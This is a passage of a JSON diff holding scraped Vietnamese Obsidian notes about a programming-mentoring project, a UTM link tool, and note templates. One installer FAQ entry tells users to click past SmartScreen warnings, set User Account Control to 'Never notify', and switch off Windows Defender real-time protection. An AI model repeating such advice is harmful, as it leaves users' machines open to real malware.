có khả năng và mong muốn hướng dẫn lại cho người khác sẽ trở thành người hướng dẫn. Người hướng dẫn chính hiện tại là Lý Minh Nhật (LinkedIn: https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/).\n\nBọn mình cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn**. Bọn mình khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận). Để tham gia hãy điền vào phiếu đăng ký ở dưới. Sau khi xem xét các đăng ký, bọn mình sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\n# 👉 Phiếu đăng ký: tranky.deno.dev/học/cns\nhttps://www.facebook.com/quacau.sphere/posts/pfbid02iFL5QSkjx9ozKuxFGjEhco2n8cMcSEkQFvQ4RPQC1jmrk6kprigoBHeg3L7XgZYPl\n\n--- \n[[Kế hoạch tạo lợi nhuận]] \n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n\nMục tiêu: Mỗi ngày có 4 người đọc hơn 50% bài\n\n\n[[09-11]] [[Facebook page QC]], [[Discord QC]]\n[[16-11]] [[Profile QC]] \n[[06-02]] [[Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ]]\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n[[Giả thiết về đối tượng cần học cách lập trình]]", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: [[Nhật]]\r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList\r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n- [ ] Chỉnh hình nền \r\n- [ ] Chạy thử trên máy ảo\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-26T08:55:00.000Z", - "Ngày cập nhật": "2024-02-29T12:19:00.000Z", - "id": "O4" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OI" }, { - "Tiêu đề": "Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)", + "Tiêu đề": "Các trục trặc có thể gặp khi cài", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Bộ cài/Các trục trặc có thể gặp khi cài", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng) \n## Liên kết UTM là gì?\nĐể có thể đo lường hiệu quả các chiến dịch truyền thông trực tuyến trên Google Analytics, các tham số UTM sẽ được thêm vào đằng sau liên kết. Ví dụ, nếu bạn đăng liên kết `tranky.deno. dev` lên nhóm *Tools MMO* và ở cả ở ngoài nhóm, thì Google Analytics sẽ không biết được có bao nhiêu người trong nhóm bấm vào và bao nhiêu người ngoài nhóm bấm vào. Nhưng nếu bạn thêm tham số UTM vào sau liên kết, ví dụ `tranky.deno. dev/?source=Tools MMO`, và chỉ đăng lên nhóm mỗi liên kết này, thì bạn sẽ biết được đã có bao nhiêu người từ nhóm bấm vào.\n\nCó nhiều loại tham số UTM, như `source`, `medium`, `campaign`, v.v. Mỗi tham số có những giá trị riêng phải điền, nhưng nhiều lúc chỉ cần biết một cái thì sẽ suy ra được cái còn lại. Ví dụ, đăng một bài trong chiến dịch A thì `campaign` chắc chắn là A, nơi đăng là một trang Facebook thì `source` chắc chắn chứa tên trang đó, và `medium` chắc chắn là `social`, v.v.\n\n## Vấn đề\nCó những công cụ để giúp xây những liên kết UTM như vậy (gọi là UTM builder), nhưng chúng không tự động điền những giá trị có thể tự suy đoán được. Nếu dự án của bạn có nhiều bài viết khác nhau dành cho nhiều loại đối tượng khác nhau, việc phải làm thủ công từng liên kết như vậy sẽ tốn nhiều thời gian, nhàm chán và có thể làm đau tay. Chưa kể nếu có nhiều người cùng đăng bài thì cũng có thể tạo ra sự không nhất quán. \n\n## Giải pháp\nNếu tất cả những gì bạn cần chỉ là tên bài viết và nơi đăng là đủ để tạo được liên kết đầy đủ thì Trấn Kỳ sẽ tự động hoá được vấn đề này. Nó là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và mình đã viết thêm chức năng để nó làm được công việc này. Ví dụ:\n- `trấn kỳ Tools MMO` → Tạo `tranky.deno. dev/?source=Tools MMO&medium=social&campaign=Trấn Kỳ`\n- `tk tmmo` → Tạo liên kết tương tự như trên, nhưng chỉ dùng mã sản phẩm và tên viết tắt\n\nCác chức năng mở rộng khác:\n- Tự động cập nhật các bài viết mới trên web của bạn với plugin trên trình duyệt \n- Tự động lấy trang web bạn đang mở để làm `source` \n- Tự động xử lý punycode (cho phần tên miền) và percent-encode (cho phần URI) \n- Tự động tạo liên kết rút gọn và tạo chuyển hướng trên máy chủ\n- Tự động chép liên kết vào clipboard\n\nĐiều này sẽ giúp bạn lấy được liên kết có tham số UTM cần thiết ngay tại nơi bạn đang tương tác một cách tức thời mà không bị ngắt mạch suy nghĩ (\"tại đây, bây giờ\").\n\n👉 Lấy mã nguồn: https://tranky.deno.dev/tichhop/tmmo\n\nhttps://www.facebook.com/quacau.sphere/posts/pfbid028r4PfZ2SiamuaSVT5CMMzgfjQfkVLnjkTrNU7dfLNoWiNNW1o1ceBV8bv1DS5gH2l\n![](https://i.imgur.com/Mj8gI5r.png)", + "Toàn bộ nội dung": "# Tôi không tải được bộ cài\r\nTheo quy định của Microsoft, các phần mềm khi cài đặt cần phải có một chứng chỉ ký mã hoá ([code signing certificate](https://www.youtube.com/watch?v=K98SSsKfcNs)). Hiện nay bọn mình chưa có tiền để mua chứng chỉ này, nên Windows sẽ rất gắt gao trong việc sử dụng nó. \r\n\r\nMột số trình duyệt khi bấm vào sẽ hiện thông báo này: \r\n![](https://i.imgur.com/apKjHxym.png) \r\n\r\nBấm vào dấu 3 chấm để tải về: \r\n![](https://i.imgur.com/uJ4oa8bm.png) \r\n\r\nTrình duyệt sẽ rất cố gắng để không cho bạn tải xuống, bằng cách hỏi lại lần nữa nhưng lần này lại giấu đi nút cho phép. Bạn phải bấm vào *Show more* để thấy được: \r\n![](https://i.imgur.com/6cQcAGYm.png) \r\n\r\nBạn có thể phụ bọn mình báo cho Microsoft biết đây là file an toàn bằng cách bấm *Report this app as safe* ở dòng ở giữa: \r\n![](https://i.imgur.com/3qAR3KQm.png) \r\n\r\n# Windows không cho tôi chạy bộ cài\r\nSau khi tải về bạn hãy bật file lên. Windows vẫn sẽ tiếp tục hỏi bạn tiếp: \r\n![](https://i.imgur.com/gWyTfdbm.png) \r\n\r\nBấm vào *More info* để thấy được nút *Run anyway*: \r\n![](https://i.imgur.com/SAzsiVXm.png) \r\n\r\nSau khi hết Windows Defender Smartscreen hỏi thì sẽ đến User Account Control hỏi: \r\n![](https://i.imgur.com/SPwOzSH.png)\r\n\r\nTrong quá trình cài thì bộ cài cũng sẽ cài thêm những phần mềm quan trọng khác như Obsidian, Git, và màn hình này sẽ tiếp tục bật ra. Nếu bạn không muốn bị phiền nhiễu thì có thể bấm vào *Show more details* để có thể tiếp tục bấm vào *Change when these notifications appear*: \r\n![](https://i.imgur.com/WVL0aBz.png)\r\n\r\nKéo thanh trượt xuống dưới cùng (*Never notify*) rồi bấm *OK*: \r\n![](https://i.imgur.com/ekX1nsZ.png) \r\n\r\nChọn *Yes*: \r\n![](https://i.imgur.com/gIE83ar.png)\r\n\r\nBấm đúp vào bộ cài để chạy lần nữa. Nếu suôn sẻ máy sẽ bật lên màn hình chuẩn bị cho bộ cài: \r\n![](https://i.imgur.com/b2t0jLK.png) \r\n\r\n\r\n# Bộ cài chỉ hiện một cửa sổ đen rồi hết\r\nNếu bạn chỉ chạy được tới đây rồi không thấy gì nữa: \r\n![Màn hình đen của cmd cho script \"Chuẩn bị\"](https://i.imgur.com/ovgzl6K.png)\r\n\r\nthì có thể đây là do các chương trình quét virus nhận nhầm. Hãy **tạm ngừng các chương trình quét virus** rồi thử lại. \r\n\r\n## Cách tắt Windows Security có sẵn trên máy\r\nBấm đúp vào icon của Windows Security trên thanh taskbar: \r\n![](https://winaero.com/blog/wp-content/uploads/2017/03/Windows-Defender-Security-Center-icon.png) \r\n\r\nỞ mục *Virus & threat protection settings*, chọn *Manage settings*: \r\n![](https://i.imgur.com/yrwjMLLm.png) \r\n\r\nTắt *Real-time protection* như trong hình: \r\n![](https://i.imgur.com/FszcWF6m.png) \r\n\r\n# Bộ cài báo tôi chưa cài winget\r\nBộ cài sử dụng [Windows Package Manager](https://xuanthulab.net/su-dung-winget-tai-va-cai-dat-ung-dung-tren-windows.html \"Sử dụng winget tải và cài đặt ứng dụng trên Windows\") (hay còn gọi là winget) để cài các phần mềm khác. Một số phiên bản Windows cũ sẽ không có nó. Hãy cập nhật [App Installer](https://apps.microsoft.com/store/detail/tr%C3%ACnh-c%C3%A0i-%C4%91%E1%BA%B7t-%E1%BB%A9ng-d%E1%BB%A5ng/9NBLGGH4NNS1) và thử lại.\r\n\r\nVới winget bạn có thể cài nhiều phần mềm cùng lúc. Điều này sẽ tiện lợi nếu bạn phải dùng một máy khác (đổi máy, mượn máy khác) mà cần sử dụng phần mềm của mình.\r\n\r\n# Tôi đã thử mọi cách nhưng đều không thể bật được màn hình cài đặt\r\nNếu vẫn không được, bạn hãy **giải nén bộ cài** bằng cách bấm chuột phải vào bộ cài, chọn *WinRar* (hoặc *7zip*), chọn *Extract to Land_of_Spheres*: \r\n![](https://i.imgur.com/vtj27x6m.png) \r\n\r\nBạn sẽ thấy trong folder mới được tạo có một folder nữa tên là *Bộ cài chính*. Trong đó sẽ có file *LOS Installer.exe*. Hãy bấm đúp vào nó: \r\n![](https://i.imgur.com/U55ymPvm.png) \r\n\r\nMàn hình cài đặt sẽ hiện ra: \r\n![](https://i.imgur.com/e3iB6N3l.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-26T07:02:00.000Z", - "id": "O5" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OJ" }, { - "Tiêu đề": "Buổi hướng dẫn và thảo luận", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Buổi hướng dẫn và thảo luận", + "Tiêu đề": "Web", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Web", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thiếu nguồn lực để có nhân sự chuyên môn về thiết kế, kỹ thuật, thuyết trình, đo lường, truyền thông, quản lý kiến thức, hợp tác và bạn phải tự làm bằng tay\nĐặc biệt là các dự án cần một lượng nghiên cứu nhất định\n1. Giới thiệu về chương trình ghi chú Obsidian và ứng dụng của nó trong quản lý dữ liệu dự án\n2. Thực hành sử dụng nó cho tổ chức của bạn, cùng với các mẫu được dựng sẵn để giảm tải\n3. Lợi ích của việc lưu dữ liệu tại máy và ở định dạng đơn giản trong việc lưu trữ thông tin tổ chức. Vấn đề của các dịch vụ trên đám mây. Quyền tự trị dữ liệu và phá vỡ các silo thông tin, phân mảnh thông tin\n4. Du hành thời gian bằng Git. Chạm tay vào thế giới phép thuật lập trình bằng terminal\n5. Tạo website tự động cập nhật, không cần đăng bài thủ công. Sử dụng công cụ đo lường lưu lượng truy cập\n6. Xây dựng một mạng lưới hợp tác ngay từ những người tham gia\n\nDự kiến sẽ chia thành 2 buổi. Số buổi có thể thay đổi để đảm bảo sự hài lòng của những người tham gia\n\n- Thời gian tham dự được\n- Khúc mắc của bạn\n- \n\n\n### Giới thiệu về chương trình ghi chú Obsidian và ứng dụng của nó trong quản lý dữ liệu dự án\n### Thực hành sử dụng nó cho tổ chức của bạn, cùng với các mẫu được dựng sẵn để giảm tải\nSWOT, triết lý tổ chức, mâu thuẫn, phân tích các bên liên quan\n### Lợi ích của việc lưu dữ liệu tại máy và ở định dạng đơn giản trong việc lưu trữ và chia sẻ thông tin trong tổ chức. Vấn đề của các dịch vụ trên đám mây trong việc tuỳ chỉnh và phá vỡ các silo thông tin. Quyền tự trị dữ liệu \nĐập dữ liệu đi xây lại\n\n### Du hành thời gian bằng Git. Chạm tay vào thế giới phép thuật lập trình bằng terminal\n### Tạo website tự động cập nhật, không cần đăng bài thủ công. \n### Đo lường độ hiệu quả của web\n### Xây dựng một mạng lưới hợp tác ngay từ những người tham gia\nThe right tool for the right company (at the right time)", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nFrom #file/thành-phẩm \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-21T08:49:00.000Z", - "Ngày cập nhật": "2024-08-22T09:35:00.000Z", - "id": "O6" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OK" }, { - "Tiêu đề": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tiêu đề": "Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu bạn muốn:\n- Quản lý và xử lý được thông tin, dữ liệu, kiến thức của mình một cách hiệu quả\n- Không phải tốn tiền thuê cho những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn. Không muốn bị phụ thuộc vào người khác\n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp, đem lại nhiều cơ hội, nhiều sự thú vị và ý nghĩa cho bạn hơn\n\nVà để đạt được điều này, bạn thấy mình cần:\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy ngộp bởi quá nhiều thuật ngữ khi tự tìm hiểu\n- Không còn thấy việc lập trình giống như làm phép thuật, là một thứ kỳ diệu mình không bao giờ hiểu được\n- Hiểu cách lập trình viên tư duy và cách các hệ thống vận hành hơn là viết code thành thạo (vì bạn chỉ muốn làm xong việc của bạn chứ không có ý định kiếm tiền, kiếm việc từ nó)\n\nThì các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc là dành cho bạn. Chúng là các những buổi tư vấn, hướng dẫn, đào tạo 1:1 cho cá nhân hoặc nhóm, với mong muốn **phổ cập kiến thức xây dựng, quản lý thông tin và xử lý dữ liệu cho các cá nhân hoặc nhóm có nhu cầu cá nhân hoá cao.** Sự cá nhân hoá này là quan trọng để bạn không cảm thấy mình đang lãng phí thời gian cho những thứ bạn thấy không quan trọng, để bảo vệ sự tập trung của bạn vào công việc quan trọng hơn.\n\n> [!IMPORTANT] Những thứ sẽ được chú trọng trong các buổi này\n> - **Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n> - Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n> - Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n> - Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau. Phân biệt những cái tên khác nhau cho cùng một thứ, và những thứ khác nhau có cùng một cái tên\n> - Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các [misnomer](https://en.wikipedia.org/wiki/Misnomer))\n> - Ý đồ thiết kế ([design rationale](https://en.wikipedia.org/wiki/Design_rationale \"Design rationale - Wikipedia\")) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n> - **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n> - **Những nguồn tốt dể học một cách bài bản**\n> - **Những lĩnh vực, hướng tư duy ít được để ý**\n> \n> Chúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\n# Một số nhu cầu ví dụ và những kiến thức cần có để làm được chúng\n### Các nhu cầu công việc ví dụ\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc\" \nwhere file.name!=\"Nhu cầu công việc\" \nwhere !contains(file.folder, \"Hậu cần\")\n```\n\n### Các nhu cầu công nghệ ví dụ\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công nghệ\" \nwhere file.name!=\"Nhu cầu công nghệ\" \n```\n\n### Tiêu chí lựa chọn\n- Là những nhu cầu liên quan đến lập trình,\n- Thường đủ phức tạp để các giải pháp làm sẵn hoặc AI không đáp ứng hiệu quả được \n- Thường xuất hiện ở các tổ chức, dự án nhỏ, vốn không có nhiều tiền để thuê ngoài\n- Thường tự làm thì sẽ làm chủ động và hiệu quả hơn là để người khác làm\n- Việc tự học để giải quyết nhu cầu thường tạo cảm giác bị phân tán sự tập trung khỏi công việc quan trọng hơn\n\n### Nhận xét\nViệc có hiểu biết về một lĩnh vực hoặc một giải pháp kỹ thuật sẽ giúp giải quyết các nhu cầu đòi hỏi kiến thức về lĩnh vực/giải pháp kỹ thuật đó. Nên nếu lĩnh vực/giải pháp kỹ thuật ta am hiểu càng có nhiều nhu cầu đổ về nó, thì ta sẽ càng linh hoạt hơn trong tương lai. \n\n### Lưu ý khác\nCác giải pháp kỹ thuật chỉ là những giải pháp thường được dùng, không nhất thiết là giải pháp duy nhất.\n\nMột số buổi có bài viết chi tiết:\n - [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý\\|Tích hợp Trấn Kỳ vào hệ thống của bạn]]{ .md-button .md-button--primary } \n - [[Nhập sự kiện vào Google Calendar\\|Cào dữ liệu web vào Google Calendar]]{ .md-button .md-button--primary } \n# Lộ trình\nVì đây là dự án phục vụ nhu cầu của bạn, nên số lượng buổi học, thời gian học, và hình thức học (trực tuyến hay trực tiếp) đều do bạn quyết định. \n\nNgười ai có khả năng và mong muốn hướng dẫn lại cho người khác sẽ trở thành người hướng dẫn. Hiện tại, người hướng dẫn chính là Lý Minh Nhật ([LinkedIn](https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/)).\n\nBọn mình cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn**. Bọn mình khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận). Để tham gia hãy điền vào phiếu đăng ký ở dưới. Sau khi xem xét các đăng ký, bọn mình sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n- [Các buổi chia sẻ kỹ năng miễn phí với nhau](https://xn--qucu-hr5aza.cc/cac-buoi-chia-se-ky-nang-mien-phi-voi-nhau/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9&utm_medium=vault&utm_campaign=C%C3%A1c+bu%E1%BB%95i+h%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+l%E1%BA%ADp+tr%C3%ACnh)\n\nThông tin liên hệ:\n- **Facebook:** https://www.facebook.com/qua.cau.the.sphere\n- **Discord:** https://discord.gg/jWTk4EHFK2\n- **Email:** quacau.thesphere@gmail.com\n\n# Tản mạn\nTiêu đề của bài gồm có 3 phần:\n- Các buổi đáp ứng nhu cầu học\n- cách sử dụng công cụ và tư duy lập trình\n- cho nhu cầu công việc\n\nChúng ta hãy nói thêm về những ý này.\n\n## Đáp ứng nhu cầu học không đồng nhất với giảng bài\nBởi vì những buổi này để đáp ứng nhu cầu của người tham gia, nên tất cả sẽ cùng thảo luận với nhau để đạt mục tiêu của mình. Trong những cuộc thảo luận mở như vậy, bất kỳ ai cũng có thể hỏi, và ai trả lời được thì trả lời. Có thể sẽ có một ai đó biết nhiều câu trả lời hơn những người còn lại, nhưng điều đó là không quan trọng. Việc được hỏi cũng sẽ đảm bảo rằng ai cũng hiểu được vấn đề, và họ có đủ thời gian để tiếp thu và nghiền ngẫm trước khi tiếp tục nội dung khác. Những người khác khi giải thích cho họ thì cũng sẽ hiểu sâu hơn, vì cách học tốt nhất là dạy.\n\nNhững tài nguyên bạn biết được bạn sẽ có không gian để chia sẻ và mọi người sẽ cùng bàn luận. Sẽ càng tốt nếu bạn đang có sẵn một dự án và cần biết cách áp dụng kiến thức đó vào dự án của mình thế nào. Chính vì như vậy, nên cho dù ban đầu nó có một mục tiêu được định trước, nhưng việc thảo luận sẽ luôn làm nảy nở những mục tiêu mới. Nếu bạn cảm thấy mục tiêu ban đầu của mình không còn là mục tiêu của những người khác thì sẽ tách ra.\n\n## Giải quyết nhu cầu công việc không đồng nhất với kiếm tiền bằng lập trình\nCác buổi này được tạo ra để giúp bạn tự chủ về công nghệ, để bạn có thể giải quyết bài toán của mình. Bạn còn rất nhiều công việc, và lập trình là một công cụ quan trọng để làm được việc, nhưng lại không phải là bài toán quan trọng nhất. Bạn đến với lập trình không phải vì bạn muốn lập trình, mà là vì bạn cần giải quyết những vấn đề khác, mà những vấn đề đó cần lập trình. [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]. Thế nên, dù bạn không muốn nước đến chân mới nhảy, nhưng bạn cũng biết rằng nước mà không đến chân thì bạn sẽ không thể nhảy. Nơi đây chỉ là nơi để mọi người cùng nhảy với nhau khi nước chưa đến chân mà thôi (hoặc có thể là có những người nước đến chân luôn rồi).\n\nVì thế, ở đây, các bài học phải giải đáp được nhu cầu có thực của riêng bạn, chứ không phải chỉ là một ví dụ cho dễ hiểu xong rồi xóa đi. \"Bài tập\" giao cho bạn phải là thứ bạn đã muốn làm từ lâu rồi.\n\nNếu từ các buổi này bạn có thể kiếm thêm được tiền thì bọn mình mừng cho bạn, nhưng nó không đủ để bạn trở thành lập trình viên.\n\n## Cách sử dụng công cụ và tư duy lập trình không đồng nhất với kiến thức lập trình căn bản\nĐể có thể phục vụ tốt nhất những người đang cần học lập trình cho một nhu cầu rõ ràng nào đó, nên nội dung sẽ đề cao đến tính \"làm được việc\" hơn là cung cấp một nền tảng vững chắc. Tất nhiên có nền tảng thì rất tốt, và trong quá trình thảo luận thì chắc chắn cũng phải giải thích những thứ nền tảng, nhưng chúng sẽ được cá nhân hoá vào mục tiêu của người tham gia. \n\nNếu bạn muốn bắt đầu từ nền tảng trước thì có lẽ nên đi học các lớp học lập trình. Những lớp như vậy có rất nhiều, và cũng rất nhiều giảng viên tâm huyết và trình độ hơn bọn mình. Bọn mình còn phải đi học họ thì bọn mình không nghĩ bạn cần phải tìm đến bọn mình. \n\nXem thêm:: [[Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất]]\n\nBảng này so sánh đặc điểm các mô hình học tập khác nhau để bạn lựa chọn cho phù hợp:\n\n| Loại hình →
    Tính chất ↓ | Các buổi đáp ứng nhu cầu | Lớp học trả tiền | Chuỗi video | Cộng đồng thảo luận |\n| --------------------------------------------------- | ------------------------------ | ------------------------------- | ---------------------------------------------------------- | --------------------------------------------------- |\n| Ví dụ ", + "Toàn bộ nội dung": "Có điều này từ hồi học mấy lớp đầu của anh Minh em đã có suy nghĩ, nhưng lúc đó bận quá không có thời gian để triển khai các ý cho nó mạch lạc được. Cơ bản là, nhóm của mình là nhóm để thảo luận, học hỏi về kỹ năng và kiến thức trong phát triển sản phẩm. Nhưng chẳng phải là chính nhóm mình cũng là một sản phẩm đó sao? Tại sao chúng ta không thực hành việc phát triển sản phẩm ngay trên chính sản phẩm này?\n\nEm nghĩ trong nhóm này có 3 nhu cầu nhiều người có nhất:\n- Thực hành các kiến thức về phát triển sản phẩm và có được sự phản hồi về cách mình áp dụng kiến thức\n- Giới thiệu sản phẩm mình đang làm và có sự phản hồi về sản phẩm đó\n- Kết nối sâu hơn với các thành viên khác\n\nEm nghĩ việc thực hành chắc ai cũng đều đang tự làm cả. Nhưng nếu có thêm những yếu tố này thì sự học sẽ sâu sắc hơn:\n- Được thực hành cùng nhau trên cùng một sản phẩm\n- Được thực hành trên sản phẩm mình đang quan tâm nhất\n\nTrước nay, các lớp học của mình đều ngắn ngày và học viên tương tác 1-1 với giảng viên nên sự thực hành và được lắng nghe phản hồi cũng chỉ không sâu, rời rạc. [Khoá thực hành 8 tuần tới đây](https://kfmqndieadf.sg.larksuite.com/docx/XtnhdrhYOoniBGxwop7lRmZegzD \"Khoá thực hành phát triển sản phẩm (Product Manager In Practice) - Lark Docs\") sẽ giải quyết được điều này, nhưng học phí cũng không phải là rẻ cho người không có nhiều tiền. Với kể cả khi có tiền và thời gian để tham gia thì việc phải thực hành trên một sản phẩm không phải mình quan tâm nhất cũng có thể làm mình nhức đầu khi phải chuyển đối tượng tập trung. Và cuối cùng thì học xong thì cũng lại phải tự mày mò tiếp, chứ khoá học không thể nào gánh hết nổi được.\n\nNên nếu có cách để các thành viên trong nhóm có thể tiếp tục thảo luận sâu với nhau sau khoá học thì em nghĩ sẽ tốt cho mọi người và cả GSSP. Em nghĩ hình thức đơn giản nhất là người nào đang cần giới thiệu sản phẩm và kiếm người hợp tác thì có thể đăng các câu hỏi nghiên cứu cho sản phẩm của mình lên để mọi người thảo luận, hoặc có một đoạn giới thiệu ngắn về sản phẩm của mình rồi mời mọi người đăng ký tham gia phỏng vấn. Sau khi phỏng vấn xong mình có thể thảo luận xem cách mà phỏng vấn như vậy có đạt được tối ưu hay không. Sau đó sẽ tới phần thảo luận tự do, như vậy sẽ còn học được thêm nhiều thứ ngẫu nhiên mà mình không ngờ tới, giúp tạo các kết nối sâu hơn.\n\nNhìn thì cũng thấy những gì em nói nói đều chỉ là các giả thiết chứ chưa có sự kiểm chứng gì cả. Việc đăng bài thế này là sự kiểm chứng 